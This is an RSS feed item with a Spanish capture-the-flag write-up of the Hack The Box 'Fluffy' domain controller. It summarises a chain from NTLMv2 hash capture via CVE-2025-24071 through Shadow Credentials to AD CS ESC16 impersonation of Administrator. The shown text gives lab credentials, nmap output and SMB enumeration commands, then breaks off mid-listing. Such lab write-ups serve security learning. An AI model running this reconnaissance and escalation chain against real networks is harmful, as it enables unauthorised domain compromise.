<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>ACL on</title><link>https://synacklabs.github.io/tags/acl/</link><description>Recent content in ACL on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Mon, 19 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/acl/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Fluffy (Easy)</title><link>https://synacklabs.github.io/posts/fluffy/</link><pubDate>Mon, 19 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/fluffy/</guid><description>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es un &lt;strong&gt;Domain Controller&lt;/strong&gt; de Active Directory. Empiezo con unas credenciales iniciales para enumerar SMB, encuentro un share con material (incluyendo un PDF con CVEs) y abuso &lt;strong&gt;CVE-2025-24071&lt;/strong&gt; para forzar una autenticación SMB y capturar un &lt;strong&gt;hash NTLMv2&lt;/strong&gt;. Tras crackearlo, uso BloodHound para identificar un camino de escalada vía permisos &lt;strong&gt;GenericWrite&lt;/strong&gt;, realizo &lt;strong&gt;Shadow Credentials&lt;/strong&gt; con Certipy para obtener hashes NT, y finalmente abuso una mala configuración de &lt;strong&gt;AD CS&lt;/strong&gt; identificada como &lt;strong&gt;ESC16&lt;/strong&gt; para impersonar a &lt;strong&gt;Administrator&lt;/strong&gt;.&lt;/p&gt;</description><content>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es un &lt;strong&gt;Domain Controller&lt;/strong&gt; de Active Directory. Empiezo con unas credenciales iniciales para enumerar SMB, encuentro un share con material (incluyendo un PDF con CVEs) y abuso &lt;strong&gt;CVE-2025-24071&lt;/strong&gt; para forzar una autenticación SMB y capturar un &lt;strong&gt;hash NTLMv2&lt;/strong&gt;. Tras crackearlo, uso BloodHound para identificar un camino de escalada vía permisos &lt;strong&gt;GenericWrite&lt;/strong&gt;, realizo &lt;strong&gt;Shadow Credentials&lt;/strong&gt; con Certipy para obtener hashes NT, y finalmente abuso una mala configuración de &lt;strong&gt;AD CS&lt;/strong&gt; identificada como &lt;strong&gt;ESC16&lt;/strong&gt; para impersonar a &lt;strong&gt;Administrator&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-80da-860f-c99f94fb2f7b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="credenciales-iniciales"&gt;Credenciales iniciales&lt;/h3&gt;
&lt;p&gt;Credenciales dadas: j.fleischman:J0elTHEM4n1990!&lt;/p&gt;
&lt;h3 id="escaneo"&gt;Escaneo&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos (server time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;23&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;55Z)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-19T23&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;+&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; +7h00m03s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Subject&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=DC01.fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Subject Alternative Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; othername&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.3&lt;/span&gt;.6.1.4.1.311.25.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&amp;lt;unsupported&amp;gt;, DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01.fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Issuer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=fluffy-DC01-CA/domainComponent=fluffy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; rsa
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key bits&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Signature Algorithm&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sha256WithRSAEncryption
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid after&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| -----BEGIN CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_-----END CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-19T23&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;+&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; +7h00m03s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Subject&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=DC01.fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Subject Alternative Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; othername&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.3&lt;/span&gt;.6.1.4.1.311.25.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&amp;lt;unsupported&amp;gt;, DNS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01.fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Issuer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=fluffy-DC01-CA/domainComponent=fluffy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; rsa
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key bits&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Signature Algorithm&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sha256WithRSAEncryption
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid after&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;-17T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| -----BEGIN CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_-----END CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fluffy.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49667&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49691&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49692&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49699&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49709&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49723&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-smb"&gt;Enumeración SMB&lt;/h3&gt;
&lt;p&gt;Confirmo que es una máquina de AD y tiro por SMB.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Fluffy/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# nxc smb 10.129.78.23 -u j.fleischman -p &amp;#39;J0elTHEM4n1990!&amp;#39; --shares&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [*] Windows &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; / Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; Build &lt;span style="color:#ae81ff"&gt;17763&lt;/span&gt; (name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;DC01) (domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fluffy.htb) (signing&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;True) (SMBv1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;False)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [+] fluffy.htb\j.fleischman&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;J0elTHEM4n1990!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 [*] Enumerated shares
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 Share Permissions Remark
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 ----- ----------- ------
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 ADMIN$ Remote Admin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 C$ &lt;span style="color:#66d9ef"&gt;Default&lt;/span&gt; share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 IPC$ READ Remote IPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 IT READ,WRITE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 NETLOGON READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SMB &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 &lt;span style="color:#ae81ff"&gt;445&lt;/span&gt; DC01 SYSVOL READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Veo que el share &lt;strong&gt;IT&lt;/strong&gt; tiene permisos de escritura, así que entro a mirar contenido:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smbclient &lt;span style="color:#e6db74"&gt;&amp;#39;//10.129.78.23/IT&amp;#39;&lt;/span&gt; -U fluffy.htb/j.fleischman&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;J0elTHEM4n1990!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;Try&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;help&amp;#34;&lt;/span&gt; to get a list of possible commands.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;smb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; \&amp;gt; DIR
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; . D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Tue Jan &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .. D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Tue Jan &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Everything-&lt;span style="color:#ae81ff"&gt;1.4&lt;/span&gt;.1.1026.x64 D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Everything-&lt;span style="color:#ae81ff"&gt;1.4&lt;/span&gt;.1.1026.x64.zip A &lt;span style="color:#ae81ff"&gt;1827464&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;04&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;05&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; KeePass-&lt;span style="color:#ae81ff"&gt;2.58&lt;/span&gt; D &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; KeePass-&lt;span style="color:#ae81ff"&gt;2.58&lt;/span&gt;.zip A &lt;span style="color:#ae81ff"&gt;3225346&lt;/span&gt; Fri Apr &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;03&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Upgrade_Notice.pdf A &lt;span style="color:#ae81ff"&gt;169963&lt;/span&gt; Sat May &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;31&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;07&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
